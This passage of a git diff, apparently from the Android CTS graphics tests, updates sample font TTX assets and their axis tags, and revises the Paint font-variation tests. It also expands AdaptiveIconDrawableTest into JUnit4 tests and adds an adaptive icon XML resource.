- <NameID>256</NameID>
- </Axis>
- <Axis>
- <AxisTag>a b </AxisTag>
- <MinValue>-1.0</MinValue>
- <DefaultValue>0.0</DefaultValue>
- <MaxValue>1.0</MaxValue>
- <NameID>256</NameID>
- </Axis>
- <Axis>
- <AxisTag> C D</AxisTag>
+ <AxisTag>PR12</AxisTag>
<MinValue>-1.0</MinValue>
<DefaultValue>0.0</DefaultValue>
<MaxValue>1.0</MaxValue>
@@ -216,6 +209,9 @@
<namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
MultiAxisFontTest-Regular
</namerecord>
+ <namerecord nameID="256" platformID="3" platEncID="1" langID="0x409">
+ Axis Name
+ </namerecord>
</name>
<post>
diff --git a/tests/tests/graphics/assets/samplefont.ttf b/tests/tests/graphics/assets/samplefont.ttf
index 49f1c62..5fccad2 100644
--- a/tests/tests/graphics/assets/samplefont.ttf
+++ b/tests/tests/graphics/assets/samplefont.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/samplefont.ttx b/tests/tests/graphics/assets/samplefont.ttx
new file mode 100644
index 0000000..f618123
--- /dev/null
+++ b/tests/tests/graphics/assets/samplefont.ttx
@@ -0,0 +1,180 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+ <GlyphOrder>
+ <GlyphID id="0" name=".notdef"/>
+ <GlyphID id="1" name="a"/>
+ </GlyphOrder>
+
+ <head>
+ <tableVersion value="1.0"/>
+ <fontRevision value="1.0"/>
+ <checkSumAdjustment value="0x640cdb2f"/>
+ <magicNumber value="0x5f0f3cf5"/>
+ <flags value="00000000 00000011"/>
+ <unitsPerEm value="1000"/>
+ <created value="Fri Mar 17 07:26:00 2017"/>
+ <macStyle value="00000000 00000000"/>
+ <lowestRecPPEM value="7"/>
+ <fontDirectionHint value="2"/>
+ <glyphDataFormat value="0"/>
+ </head>
+
+ <hhea>
+ <tableVersion value="1.0"/>
+ <ascent value="1000"/>
+ <descent value="-200"/>
+ <lineGap value="0"/>
+ <caretSlopeRise value="1"/>
+ <caretSlopeRun value="0"/>
+ <caretOffset value="0"/>
+ <reserved0 value="0"/>
+ <reserved1 value="0"/>
+ <reserved2 value="0"/>
+ <reserved3 value="0"/>
+ <metricDataFormat value="0"/>
+ </hhea>
+
+ <maxp>
+ <tableVersion value="0x10000"/>
+ <maxZones value="0"/>
+ <maxTwilightPoints value="0"/>
+ <maxStorage value="0"/>
+ <maxFunctionDefs value="0"/>
+ <maxInstructionDefs value="0"/>
+ <maxStackElements value="0"/>
+ <maxSizeOfInstructions value="0"/>
+ <maxComponentElements value="0"/>
+ </maxp>
+
+ <OS_2>
+ <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+ will be recalculated by the compiler -->
+ <version value="3"/>
+ <xAvgCharWidth value="594"/>
+ <usWeightClass value="400"/>
+ <usWidthClass value="5"/>
+ <fsType value="00000000 00001000"/>
+ <ySubscriptXSize value="650"/>
+ <ySubscriptYSize value="600"/>
+ <ySubscriptXOffset value="0"/>
+ <ySubscriptYOffset value="75"/>
+ <ySuperscriptXSize value="650"/>
+ <ySuperscriptYSize value="600"/>
+ <ySuperscriptXOffset value="0"/>
+ <ySuperscriptYOffset value="350"/>
+ <yStrikeoutSize value="50"/>
+ <yStrikeoutPosition value="300"/>
+ <sFamilyClass value="0"/>
+ <panose>
+ <bFamilyType value="0"/>
+ <bSerifStyle value="0"/>
+ <bWeight value="5"/>
+ <bProportion value="0"/>
+ <bContrast value="0"/>
+ <bStrokeVariation value="0"/>
+ <bArmStyle value="0"/>
+ <bLetterForm value="0"/>
+ <bMidline value="0"/>
+ <bXHeight value="0"/>
+ </panose>
+ <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+ <achVendID value="UKWN"/>
+ <fsSelection value="00000000 01000000"/>
+ <usFirstCharIndex value="32"/>
+ <usLastCharIndex value="122"/>
+ <sTypoAscender value="800"/>
+ <sTypoDescender value="-200"/>
+ <sTypoLineGap value="200"/>
+ <usWinAscent value="1000"/>
+ <usWinDescent value="200"/>
+ <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+ <sxHeight value="500"/>
+ <sCapHeight value="700"/>
+ <usDefaultChar value="0"/>
+ <usBreakChar value="32"/>
+ <usMaxContext value="0"/>
+ </OS_2>
+
+ <hmtx>
+ <mtx name=".notdef" width="500" lsb="93"/>
+ <mtx name="a" width="500" lsb="93"/>
+ </hmtx>
+
+ <cmap>
+ <tableVersion version="0"/>
+ <cmap_format_4 platformID="3" platEncID="10" language="0">
+ <map code="0x0061" name="a" />
+ </cmap_format_4>
+ </cmap>
+
+ <loca>
+ <!-- The 'loca' table will be calculated by the compiler -->
+ </loca>
+
+ <glyf>
+ <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0" />
+ </glyf>
+
+ <name>
+ <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+ Copyright (C) 2017 The Android Open Source Project
+ </namerecord>
+ <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+ Regular
+ </namerecord>
+ <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+ SampleFont-Regular
+ </namerecord>
+ <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ </namerecord>
+ <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+ http://www.apache.org/licenses/LICENSE-2.0
+ </namerecord>
+ </name>
+
+ <post>
+ <formatType value="3.0"/>
+ <italicAngle value="0.0"/>
+ <underlinePosition value="-75"/>
+ <underlineThickness value="50"/>
+ <isFixedPitch value="0"/>
+ <minMemType42 value="0"/>
+ <maxMemType42 value="0"/>
+ <minMemType1 value="0"/>
+ <maxMemType1 value="0"/>
+ </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/samplefont2.ttf b/tests/tests/graphics/assets/samplefont2.ttf
index b8302d4..f31b8a9 100644
--- a/tests/tests/graphics/assets/samplefont2.ttf
+++ b/tests/tests/graphics/assets/samplefont2.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/samplefont2.ttx b/tests/tests/graphics/assets/samplefont2.ttx
index 40fa268..f618123 100644
--- a/tests/tests/graphics/assets/samplefont2.ttx
+++ b/tests/tests/graphics/assets/samplefont2.ttx
@@ -136,17 +136,8 @@
</glyf>
<name>
- <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
- Sample Font
- </namerecord>
- <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
- Regular
- </namerecord>
- <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
- Sample Font
- </namerecord>
- <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
- SampleFont-Regular
+ <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+ Copyright (C) 2017 The Android Open Source Project
</namerecord>
<namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
Sample Font
@@ -160,6 +151,18 @@
<namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
SampleFont-Regular
</namerecord>
+ <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ </namerecord>
+ <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+ http://www.apache.org/licenses/LICENSE-2.0
+ </namerecord>
</name>
<post>
diff --git a/tests/tests/graphics/assets/samplefont3.ttf b/tests/tests/graphics/assets/samplefont3.ttf
index f0e7524..9c850ab 100644
--- a/tests/tests/graphics/assets/samplefont3.ttf
+++ b/tests/tests/graphics/assets/samplefont3.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/samplefont3.ttx b/tests/tests/graphics/assets/samplefont3.ttx
index f053408..b3f08e6 100644
--- a/tests/tests/graphics/assets/samplefont3.ttx
+++ b/tests/tests/graphics/assets/samplefont3.ttx
@@ -136,17 +136,8 @@
</glyf>
<name>
- <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
- Sample Font
- </namerecord>
- <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
- Regular
- </namerecord>
- <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
- Sample Font
- </namerecord>
- <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
- SampleFont-Regular
+ <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+ Copyright (C) 2017 The Android Open Source Project
</namerecord>
<namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
Sample Font
@@ -160,6 +151,18 @@
<namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
SampleFont-Regular
</namerecord>
+ <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ </namerecord>
+ <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+ http://www.apache.org/licenses/LICENSE-2.0
+ </namerecord>
</name>
<post>
diff --git a/tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java b/tests/tests/graphics/res/drawable/adaptive_icon_drawable.xml
similarity index 70%
copy from tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java
copy to tests/tests/graphics/res/drawable/adaptive_icon_drawable.xml
index 3fbf255..cde4bcb 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java
+++ b/tests/tests/graphics/res/drawable/adaptive_icon_drawable.xml
@@ -1,4 +1,5 @@
-/*
+<?xml version="1.0" encoding="utf-8"?>
+<!--
* Copyright (C) 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
@@ -12,12 +13,9 @@
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
- */
+ -->
-package android.graphics.fonts.cts;
-
-import android.app.Activity;
-
-public class MockActivity extends Activity {
-
-}
\ No newline at end of file
+<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
+ <background android:drawable="@drawable/testimage"/>
+ <foreground android:drawable="@drawable/start"/>
+</adaptive-icon>
diff --git a/tests/tests/graphics/src/android/graphics/cts/PaintTest.java b/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
index 924b23c..0d70947 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
@@ -18,6 +18,7 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
@@ -903,34 +904,45 @@
}
@Test
+ public void testSetFontVariationSettings_defaultTypeface() {
+ new Paint().setFontVariationSettings("'wght' 400");
+ }
+
+ @Test
public void testSetGetFontVariationSettings() {
+ final Paint defaultPaint = new Paint();
+
Paint p = new Paint();
Context context = InstrumentationRegistry.getTargetContext();
Typeface typeface = Typeface.createFromAsset(context.getAssets(), "multiaxis.ttf");
p.setTypeface(typeface);
- // multiaxis.ttf supports "aaaa", "BBBB", "a b ", " C D" axes.
+ // multiaxis.ttf supports "wght", "PRIV", "PR12" axes.
// The default variation settings should be null.
assertNull(p.getFontVariationSettings());
final String[] nonEffectiveSettings = {
- "'bbbb' 1.0", // unsupported tag
- "' ' 1.0", // unsupported tag
- "'AAAA' 0.7", // unsupported tag (case sensitive)
- "' a b' 1.3", // unsupported tag (white space should not be ignored)
- "'C D ' 1.3", // unsupported tag (white space should not be ignored)
- "'bbbb' 1.0, 'cccc' 2.0", // none of them are supported.
+ "'slnt' 30", // unsupported tag
+ "'BBBB' 1.0", // unsupported tag
+ "'A ' 1.0", // unsupported tag
+ "'PR0 ' 1.3", // unsupported tag
+ "'WGHT' 0.7", // unsupported tag (case sensitive)
+ "'BBBB' 1.0, 'CCCC' 2.0", // none of them are supported.
};
for (String notEffectiveSetting : nonEffectiveSettings) {
- assertFalse("Must return false for " + notEffectiveSetting,
- p.setFontVariationSettings(notEffectiveSetting));
- assertNull("Must not change settings for " + notEffectiveSetting,
- p.getFontVariationSettings());
+ if (!defaultPaint.setFontVariationSettings(notEffectiveSetting)) {
+ // Test only when the system font don't support the above axes. OEMs may add
+ // their fonts and these font may support above axes.
+ assertFalse("Must return false for " + notEffectiveSetting,
+ p.setFontVariationSettings(notEffectiveSetting));
+ assertNull("Must not change settings for " + notEffectiveSetting,
+ p.getFontVariationSettings());
+ }
}
- String retainSettings = "'aaaa' 1.0";
+ String retainSettings = "'wght' 400";
assertTrue(p.setFontVariationSettings(retainSettings));
for (String notEffectiveSetting : nonEffectiveSettings) {
assertFalse(p.setFontVariationSettings(notEffectiveSetting));
@@ -940,15 +952,14 @@
// At least one axis is supported, the settings should be applied.
final String[] effectiveSettings = {
- "'aaaa' 1.0", // supported tag
- "'a b ' .7", // supported tag (contains whitespace)
- "'aaaa' 1.0, 'BBBB' 0.5", // both are supported
- "'aaaa' 1.0, ' C D' 0.5", // both are supported
- "'aaaa' 1.0, 'bbbb' 0.4", // 'bbbb' is unspported.
+ "'wght' 300", // supported tag
+ "'wght' 300, 'PRIV' 0.5", // both are supported
+ "'PRIV' 1.0, 'BBBB' 0.4", // 'BBBB' is unsupported
};
for (String effectiveSetting : effectiveSettings) {
- assertTrue(p.setFontVariationSettings(effectiveSetting));
+ assertTrue("Must return true for " + effectiveSetting,
+ p.setFontVariationSettings(effectiveSetting));
assertEquals(effectiveSetting, p.getFontVariationSettings());
}
diff --git a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
index 3ab7425..66b55f2 100644
--- a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
@@ -30,8 +30,6 @@
import android.content.res.AssetManager;
import android.graphics.Paint;
import android.graphics.Typeface;
-import android.graphics.fonts.FontVariationAxis;
-import android.provider.FontsContract;
import android.support.test.InstrumentationRegistry;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconDrawableTest.java
index 54021b9..e2254a7 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconDrawableTest.java
@@ -1,35 +1,133 @@
package android.graphics.drawable.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import android.content.Context;
+import android.content.res.Resources;
import android.graphics.Bitmap;
import android.graphics.Bitmap.Config;
import android.graphics.Canvas;
import android.graphics.Color;
+import android.graphics.ColorFilter;
import android.graphics.Path;
import android.graphics.Path.Direction;
+import android.graphics.PixelFormat;
import android.graphics.Rect;
import android.graphics.Region;
+import android.graphics.cts.R;
import android.graphics.drawable.AdaptiveIconDrawable;
+import android.graphics.drawable.BitmapDrawable;
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.Drawable;
-import android.test.AndroidTestCase;
+import android.graphics.drawable.Drawable.ConstantState;
+import android.graphics.drawable.StateListDrawable;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.AttributeSet;
import android.util.Log;
+import android.util.Xml;
import java.io.File;
import java.io.FileOutputStream;
import java.util.Arrays;
import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
-public class AdaptiveIconDrawableTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AdaptiveIconDrawableTest {
public static final String TAG = AdaptiveIconDrawableTest.class.getSimpleName();
public static void L(String s, Object... parts) {
Log.d(TAG, (parts.length == 0) ? s : String.format(s, parts));
}
- private Drawable mBackgroundDrawable;
- private Drawable mForegroundDrawable;
- private AdaptiveIconDrawable mIconDrawable;
- private File mDir;
+
+ @Test
+ public void testConstructor() {
+ new AdaptiveIconDrawable(null, null);
+ }
+
+ @Test
+ public void testInflate() throws Throwable {
+ AdaptiveIconDrawable dr = new AdaptiveIconDrawable(null, null);
+
+ Resources r = InstrumentationRegistry.getTargetContext().getResources();
+ XmlPullParser parser = r.getXml(R.layout.framelayout_layout);
+ AttributeSet attrs = Xml.asAttributeSet(parser);
+
+ // Should not throw inflate exception
+ dr.inflate(r, parser, attrs);
+ }
+
+ @Test(expected=NullPointerException.class)
+ public void testInflateNull() throws Throwable {
+ AdaptiveIconDrawable dr = new AdaptiveIconDrawable(null, null);
+ dr.inflate(null, null, null);
+ }
+
+ @Test
+ public void testDraw() {
+ Canvas c = new Canvas();
+ AdaptiveIconDrawable dr = new AdaptiveIconDrawable(null, null);
+ dr.draw(c);
+ }
+
+ @Test(expected=NullPointerException.class)
+ public void testDrawNull() {
+ AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+ new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+ iconDrawable.setBounds(0, 0, 100, 100);
+ iconDrawable.draw(null);
+ }
+
+ @Test
+ public void testInvalidateDrawable() {
+ AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+ new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+ iconDrawable.invalidateDrawable(
+ InstrumentationRegistry.getTargetContext().getDrawable(R.drawable.pass));
+ }
+
+ @Test
+ public void testScheduleDrawable() {
+ AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+ new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+ iconDrawable.scheduleDrawable(
+ InstrumentationRegistry.getTargetContext().getDrawable(R.drawable.pass),
+ () -> {}, 10);
+
+ // input null as params
+ iconDrawable.scheduleDrawable(null, null, -1);
+ // expected, no Exception thrown out, test success
+ }
+
+ @Test
+ public void testUnscheduleDrawable() {
+ AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+ new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+ iconDrawable.unscheduleDrawable(
+ InstrumentationRegistry.getTargetContext().getDrawable(R.drawable.pass), () -> {});
+
+ // input null as params
+ iconDrawable.unscheduleDrawable(null, null);
+ // expected, no Exception thrown out, test success
+ }
+
+ @Test
+ public void testGetChangingConfigurations() {
+ AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+ new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+ iconDrawable.setChangingConfigurations(11);
+ assertEquals(11, iconDrawable.getChangingConfigurations());
+
+ iconDrawable.setChangingConfigurations(-21);
+ assertEquals(-21, iconDrawable.getChangingConfigurations());
+ }
/**
* When setBound isn't called before draw method is called.
@@ -37,22 +135,23 @@
*/
@Test
public void testDrawWithoutSetBounds() throws Exception {
- mBackgroundDrawable = new ColorDrawable(Color.BLUE);
- mForegroundDrawable = new ColorDrawable(Color.RED);
- mIconDrawable = new AdaptiveIconDrawable(mBackgroundDrawable, mForegroundDrawable);
- mDir = getContext().getExternalFilesDir(null);
- L("writing temp bitmaps to %s...", mDir);
+ Drawable backgroundDrawable = new ColorDrawable(Color.BLUE);
+ Drawable foregroundDrawable = new ColorDrawable(Color.RED);
+ AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(backgroundDrawable, foregroundDrawable);
+ Context context = InstrumentationRegistry.getTargetContext();
+ File dir = context.getExternalFilesDir(null);
+ L("writing temp bitmaps to %s...", dir);
final Bitmap bm_test = Bitmap.createBitmap(150, 150, Bitmap.Config.ARGB_8888);
final Bitmap bm_org = bm_test.copy(Config.ARGB_8888, false);
final Canvas can1 = new Canvas(bm_test);
// Even when setBounds is not called, should not crash
- mIconDrawable.draw(can1);
+ iconDrawable.draw(can1);
// Draws nothing! Hence same as original.
if (!equalBitmaps(bm_test, bm_org)) {
findBitmapDifferences(bm_test, bm_org);
- fail("bm differs, check " + mDir);
+ fail("bm differs, check " + dir);
}
}
@@ -68,29 +167,29 @@
int bottom = 90 * dpi;
int width = right - left;
int height = bottom - top;
-
- mIconDrawable = (AdaptiveIconDrawable) getContext().getResources().getDrawable(android.R.drawable.sym_def_app_icon);
- mDir = getContext().getExternalFilesDir(null);
- L("writing temp bitmaps to %s...", mDir);
+ Context context = InstrumentationRegistry.getTargetContext();
+ AdaptiveIconDrawable iconDrawable = (AdaptiveIconDrawable) context.getResources().getDrawable(android.R.drawable.sym_def_app_icon);
+ File dir = context.getExternalFilesDir(null);
+ L("writing temp bitmaps to %s...", dir);
final Bitmap bm_org = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
final Canvas can_org = new Canvas(bm_org);
- mIconDrawable.setBounds(0, 0, width, height);
- mIconDrawable.draw(can_org);
+ iconDrawable.setBounds(0, 0, width, height);
+ iconDrawable.draw(can_org);
// Tested bitmap is drawn from the adaptive icon drawable.
final Bitmap bm_test = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
final Canvas can_test = new Canvas(bm_test);
- mIconDrawable.setBounds(left, top, right, bottom);
+ iconDrawable.setBounds(left, top, right, bottom);
can_test.translate(-left, -top);
- mIconDrawable.draw(can_test);
+ iconDrawable.draw(can_test);
can_test.translate(left, top);
bm_org.compress(Bitmap.CompressFormat.PNG, 100,
- new FileOutputStream(new File(mDir, "adaptive-bm-original.png")));
+ new FileOutputStream(new File(dir, "adaptive-bm-original.png")));
bm_test.compress(Bitmap.CompressFormat.PNG, 100,
- new FileOutputStream(new File(mDir, "adaptive-bm-test.png")));
+ new FileOutputStream(new File(dir, "adaptive-bm-test.png")));
Region region = new Region(new Rect(0, 0, width, height));
Path circle = new Path();
@@ -99,10 +198,134 @@
region.setPath(circle, region);
if (!equalBitmaps(bm_test, bm_org, region)) {
findBitmapDifferences(bm_test, bm_org);
- fail("bm differs, check " + mDir);
+ fail("bm differs, check " + dir);
}
}
+ @Test
+ public void testSetVisible() {
+ AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+ new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+ assertFalse(iconDrawable.setVisible(true, true)); /* unchanged */
+ assertTrue(iconDrawable.setVisible(false, true)); /* changed */
+ assertFalse(iconDrawable.setVisible(false, true)); /* unchanged */
+ }
+
+ @Test
+ public void testSetAlpha() {
+ AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+ new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+ iconDrawable.setAlpha(1);
+ iconDrawable.setAlpha(-1);
+
+ iconDrawable.setAlpha(0);
+ iconDrawable.setAlpha(Integer.MAX_VALUE);
+ iconDrawable.setAlpha(Integer.MIN_VALUE);
+ }
+
+ @Test
+ public void testSetColorFilter() {
+ AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+ new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+ ColorFilter cf = new ColorFilter();
+ iconDrawable.setColorFilter(cf);
+
+ // input null as param
+ iconDrawable.setColorFilter(null);
+ // expected, no Exception thrown out, test success
+ }
+
+ @Test
+ public void testGetOpacity() {
+ AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+ new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+ iconDrawable.setOpacity(PixelFormat.OPAQUE);
+ assertEquals(PixelFormat.OPAQUE, iconDrawable.getOpacity());
+
+ iconDrawable.setOpacity(PixelFormat.TRANSPARENT);
+ assertEquals(PixelFormat.TRANSPARENT, iconDrawable.getOpacity());
+ }
+
+ @Test
+ public void testIsStateful() {
+ AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+ new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+ assertFalse(iconDrawable.isStateful());
+
+ iconDrawable = new AdaptiveIconDrawable(new StateListDrawable(), new ColorDrawable(Color.RED));
+ assertTrue(iconDrawable.isStateful());
+ }
+
+
+ @Test
+ public void testGetConstantState() {
+ AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+ new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+ ConstantState constantState = iconDrawable.getConstantState();
+ assertNotNull(constantState);
+ }
+
+ @Test
+ public void testMutate() {
+ // Obtain the first instance, then mutate and modify a property held by
+ // constant state. If mutate() works correctly, the property should not
+ // be modified on the second or third instances.
+ Resources res = InstrumentationRegistry.getTargetContext().getResources();
+ AdaptiveIconDrawable first = (AdaptiveIconDrawable) res.getDrawable(R.drawable.adaptive_icon_drawable, null);
+ AdaptiveIconDrawable pre = (AdaptiveIconDrawable) res.getDrawable(R.drawable.adaptive_icon_drawable, null);
+
+ first.mutate().setBounds(0, 0, 100, 100);
+
+ assertEquals("Modified first loaded instance", 100, first.getBounds().width());
+ assertEquals("Did not modify pre-mutate() instance", 0, pre.getBounds().width());
+
+ AdaptiveIconDrawable post = (AdaptiveIconDrawable) res.getDrawable(R.drawable.adaptive_icon_drawable, null);
+
+ assertEquals("Did not modify post-mutate() instance", 0, post.getBounds().width());
+ }
+
+ @Test
+ public void testGetForegroundBackground() {
+ Context context = InstrumentationRegistry.getTargetContext();
+ AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+ new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+ Drawable fgDrawable = iconDrawable.getForeground();
+ Drawable bgDrawable = iconDrawable.getBackground();
+ assertTrue("Foreground layer is color drawable.", fgDrawable instanceof ColorDrawable);
+ assertTrue("Backgroud layer is color drawable.", bgDrawable instanceof ColorDrawable);
+
+ AdaptiveIconDrawable iconDrawableInflated =
+ (AdaptiveIconDrawable) context.getDrawable(R.drawable.adaptive_icon_drawable);
+ fgDrawable = iconDrawableInflated.getForeground();
+ bgDrawable = iconDrawableInflated.getBackground();
+ assertTrue("Foreground layer is color drawable.", fgDrawable instanceof BitmapDrawable);
+ assertTrue("Backgroud layer is color drawable.", bgDrawable instanceof BitmapDrawable);
+ }
+
+ @Test
+ public void testGetIntrinsicWidth() {
+ Context context = InstrumentationRegistry.getTargetContext();
+ AdaptiveIconDrawable iconDrawableInflated =
+ (AdaptiveIconDrawable) context.getDrawable(R.drawable.adaptive_icon_drawable);
+ int fgWidth = iconDrawableInflated.getForeground().getIntrinsicWidth();
+ int bgWidth = iconDrawableInflated.getBackground().getIntrinsicWidth();
+ float iconIntrinsicWidth = Math.max(fgWidth, bgWidth) / (1 + 2 * AdaptiveIconDrawable.getExtraInsetFraction());
+ assertEquals("Max intrinsic width of the layers should be icon's intrinsic width",
+ (int) iconIntrinsicWidth, iconDrawableInflated.getIntrinsicWidth());
+ }
+
+ @Test
+ public void testGetIntrinsicHeight() {
+ Context context = InstrumentationRegistry.getTargetContext();
+ AdaptiveIconDrawable iconDrawableInflated =
+ (AdaptiveIconDrawable) context.getDrawable(R.drawable.adaptive_icon_drawable);
+ int fgWidth = iconDrawableInflated.getForeground().getIntrinsicHeight();
+ int bgWidth = iconDrawableInflated.getBackground().getIntrinsicHeight();
+ float iconIntrinsicHeight = Math.max(fgWidth, bgWidth) / (1 + 2 * AdaptiveIconDrawable.getExtraInsetFraction());
+ assertEquals("Max intrinsic height of the layers should be icon's intrinsic height",
+ (int) iconIntrinsicHeight, iconDrawableInflated.getIntrinsicHeight());
+ }
+
//
// Utils
//
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
index ec81980..7ff00b0 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
@@ -88,7 +88,7 @@
// https://issuetracker.google.com/37428428
